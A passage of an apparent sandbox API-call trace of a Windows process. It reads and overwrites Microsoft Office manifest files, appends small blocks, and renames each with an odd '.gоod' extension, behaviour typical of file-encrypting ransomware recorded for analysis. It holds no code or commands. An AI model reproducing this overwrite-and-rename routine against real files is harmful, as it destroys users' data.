dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0109.845] GetFileType (hFile=0x20c) returned 0x1 [0109.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0109.846] GetFileType (hFile=0x20c) returned 0x1 [0109.846] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x79381 [0109.846] WriteFile (in: hFile=0x20c, lpBuffer=0x338fab0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x338fab0*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0109.847] CloseHandle (hObject=0x20c) returned 1 [0109.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0109.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0109.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0109.848] GetFileType (hFile=0x20c) returned 0x1 [0109.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0109.848] GetFileType (hFile=0x20c) returned 0x1 [0109.848] ReadFile (in: hFile=0x20c, lpBuffer=0x3391e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x3391e08*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0110.734] CloseHandle (hObject=0x20c) returned 1 [0110.735] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0110.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0110.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0110.735] GetFileType (hFile=0x20c) returned 0x1 [0110.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0110.735] GetFileType (hFile=0x20c) returned 0x1 [0110.735] WriteFile (in: hFile=0x20c, lpBuffer=0x3337b00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x3337b00*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0110.736] CloseHandle (hObject=0x20c) returned 1 [0110.736] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0110.736] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0110.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0110.736] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3e3725bd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x79391)) returned 1 [0110.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0110.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0110.737] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0110.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0110.738] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3878a40 | out: lpFileInformation=0x3878a40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0110.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0110.738] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0110.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0110.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0110.738] GetFileType (hFile=0x20c) returned 0x1 [0110.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0110.738] GetFileType (hFile=0x20c) returned 0x1 [0110.738] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0110.738] ReadFile (in: hFile=0x20c, lpBuffer=0x3879308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x3879308*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0110.740] CloseHandle (hObject=0x20c) returned 1 [0111.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0111.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0111.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0111.369] GetFileType (hFile=0x7b4) returned 0x1 [0111.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0111.369] GetFileType (hFile=0x7b4) returned 0x1 [0111.369] WriteFile (in: hFile=0x7b4, lpBuffer=0x35002f8*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x35002f8*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0111.370] CloseHandle (hObject=0x7b4) returned 1 [0111.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0111.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0111.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0111.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3e98e672, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0111.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0111.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0111.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0111.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0111.371] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3501660 | out: lpFileInformation=0x3501660*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10)) returned 1 [0111.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0111.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0111.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0111.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0111.372] GetFileType (hFile=0x7b4) returned 0x1 [0111.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0111.372] GetFileType (hFile=0x7b4) returned 0x1 [0111.372] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0111.372] ReadFile (in: hFile=0x7b4, lpBuffer=0x3501eb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x3501eb8*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0111.374] CloseHandle (hObject=0x7b4) returned 1 [0111.374] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0111.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0111.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0111.374] GetFileType (hFile=0x7b4) returned 0x1 [0111.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0111.374] GetFileType (hFile=0x7b4) returned 0x1 [0111.374] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x3df10 [0111.374] WriteFile (in: hFile=0x7b4, lpBuffer=0x35031e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x35031e8*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0111.375] CloseHandle (hObject=0x7b4) returned 1 [0111.375] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0111.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0111.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0111.375] GetFileType (hFile=0x7b4) returned 0x1 [0111.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0111.375] GetFileType (hFile=0x7b4) returned 0x1 [0111.375] ReadFile (in: hFile=0x7b4, lpBuffer=0x3505848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x3505848*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0112.193] CloseHandle (hObject=0x7b4) returned 1 [0112.194] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0112.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0112.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0112.194] GetFileType (hFile=0x7b4) returned 0x1 [0112.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0112.194] GetFileType (hFile=0x7b4) returned 0x1 [0112.194] WriteFile (in: hFile=0x7b4, lpBuffer=0x33d8f28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x33d8f28*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0112.194] CloseHandle (hObject=0x7b4) returned 1 [0112.194] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0112.195] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0112.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0112.195] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f14e11f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3df20)) returned 1 [0112.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0112.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0112.195] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0112.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0112.196] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x37a7bb8 | out: lpFileInformation=0x37a7bb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0112.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0112.196] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0112.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0112.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0112.196] GetFileType (hFile=0x7b4) returned 0x1 [0112.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0112.196] GetFileType (hFile=0x7b4) returned 0x1 [0112.197] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0112.197] ReadFile (in: hFile=0x7b4, lpBuffer=0x37a8480, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x37a8480*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0112.525] CloseHandle (hObject=0x7b4) returned 1 [0112.564] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0112.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0112.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0112.565] GetFileType (hFile=0x7b4) returned 0x1 [0112.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0112.565] GetFileType (hFile=0x7b4) returned 0x1 [0112.565] WriteFile (in: hFile=0x7b4, lpBuffer=0x35fbb38*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x35fbb38*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0112.566] CloseHandle (hObject=0x7b4) returned 1 [0112.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0112.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0112.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0112.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, 